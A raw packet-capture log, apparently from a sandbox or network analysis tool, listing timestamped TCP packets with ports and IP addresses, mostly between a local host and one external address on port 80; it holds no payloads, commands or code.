Nov 26, 2024 16:31:45.211869001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.211884975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.211905003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.211931944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.212795973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.212811947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.212821960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.212833881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.212846994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.212865114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.213732004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.213747978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.213839054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.213839054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.214899063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.214915991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.214956999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.215981007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.215996027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.216046095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.216954947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.216970921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.216995001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.217016935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.217878103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.217895985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.217920065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.217924118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.217941999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.217967987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.218839884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.218857050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.218867064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.218877077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.218895912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.227993965 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.228018045 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.228615046 CET	49860	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.228619099 CET	443	49860	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.311177015 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:45.311223030 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:45.311300039 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:45.312383890 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:45.312424898 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:45.312484026 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:45.312949896 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:45.312961102 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:45.313270092 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:45.313308954 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:45.313435078 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:45.313462973 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:45.313463926 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:45.313590050 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:45.313601971 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:45.317770958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.317833900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.318078995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.318177938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.318592072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.318660975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.319215059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.319264889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.319951057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.319967985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.319999933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.320027113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.320859909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.320883036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.320966005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.320966005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.321784973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.321810961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.321839094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.321857929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.322969913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.322981119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.323019028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.323838949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.323849916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.323887110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.324987888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.325000048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.325052977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.325818062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.325830936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.325859070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.325874090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.327101946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.327121973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.327167034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.328020096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.328035116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.328067064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.328094006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.329148054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.329165936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.329191923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.329221964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.330085039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.330120087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.330136061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.330149889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.331259966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.331281900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.331322908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.332376003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.332396984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.332407951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.332436085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.332468033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.333450079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.333470106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.333512068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.334376097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.334391117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.334433079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.335597992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.335622072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.335762978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.336843967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.336867094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.336878061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.336904049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.336946964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.337855101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.337871075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.337908983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.337939024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.338932991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.338951111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.339049101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.339874983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.339895964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.339914083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.339951038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.340816021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.340830088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.340873957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.340893984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.341742992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.341754913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.341768026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.341804028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.341836929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.342812061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.342825890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.342844963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.342859030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.342883110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.342896938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.403522015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.403574944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.403729916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.403791904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.404292107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.404309034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.404339075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.404376030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.405020952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.405138969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.405502081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.405515909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.405554056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.406616926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.406630993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.406663895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.406708002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.407557964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.407571077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.407629013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.407629967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.408658028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.408670902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.408696890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.408715010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.409693003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.409704924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.409732103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.409745932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.410793066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.410806894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.410860062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.410860062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.411619902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.411633015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.411676884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.412628889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.412641048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.412683010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.412703991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.413866043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.413878918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.413918018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.415137053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.415149927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.415184975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.415216923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.416198015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.416209936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.416251898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.416274071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.417242050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.417256117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.417267084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.417351007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.418298960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.418324947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.418348074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.418378115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.419179916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.419192076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.419219017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.419238091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.419962883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.419976950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.420000076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.420020103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.421243906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.421278000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.421298027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.421314001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.422221899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.422230959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.422241926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.422319889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.422319889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.423584938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.423598051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.423650026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.423677921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.424770117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.424783945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.424828053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.424850941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.425859928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.425878048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.425910950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.425928116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.427510977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.427525043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.427562952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.427578926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.428831100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.428845882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.428858042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.428881884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.428915024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.429935932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.429949999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.429986954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.516228914 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.516798019 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.516828060 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.517369986 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:45.517374992 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:45.527337074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.527405024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.527575970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.527770042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.528042078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.528203011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.528249025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.528281927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.528646946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.528685093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.529342890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.529356956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.529401064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.529448032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.530138969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.530153036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.530194044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.531227112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.531239986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.531270027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.531291962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.532304049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.532316923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.532341957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.532356024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.533356905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.533370972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.533406973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.533426046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.534432888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.534446001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.534499884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.534523964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.535434961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.535448074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.535476923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.535501003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.536567926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.536581993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.536609888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.536622047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.537570000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.537584066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.537626028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.537646055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.538574934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.538589001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.538616896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.538640976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.539783955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.539798021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.539832115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.539856911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.541024923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.541039944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.541064978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.541083097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.542011976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.542026043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.542037964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.542053938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.542076111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.543021917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.543045044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.543060064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.543078899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.544131994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.544147015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.544168949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.544194937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.545173883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.545193911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.545219898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.545236111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.546574116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.546588898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.546600103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.546633005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.546674013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.548095942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.548111916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.548201084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.548201084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:45.549223900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:45.549237967 CET	80	49809	185.215.113.206	192.168.2.6
